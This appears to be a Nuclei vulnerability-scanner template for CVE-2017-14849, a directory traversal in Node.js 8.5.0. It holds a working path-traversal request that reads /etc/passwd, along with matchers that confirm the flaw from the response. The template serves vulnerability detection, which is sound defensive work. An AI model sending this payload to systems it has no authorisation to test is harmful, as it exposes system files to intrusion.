nuclei-templates/cves/CVE-2017-14849.yaml

22 lines
610 B
YAML
Raw Normal View History

2020-08-19 15:34:31 +00:00
id: CVE-2017-14849
info:
name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
author: Random-Robbie
severity: high
2020-08-25 21:23:46 +00:00
description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
2020-08-19 15:34:31 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body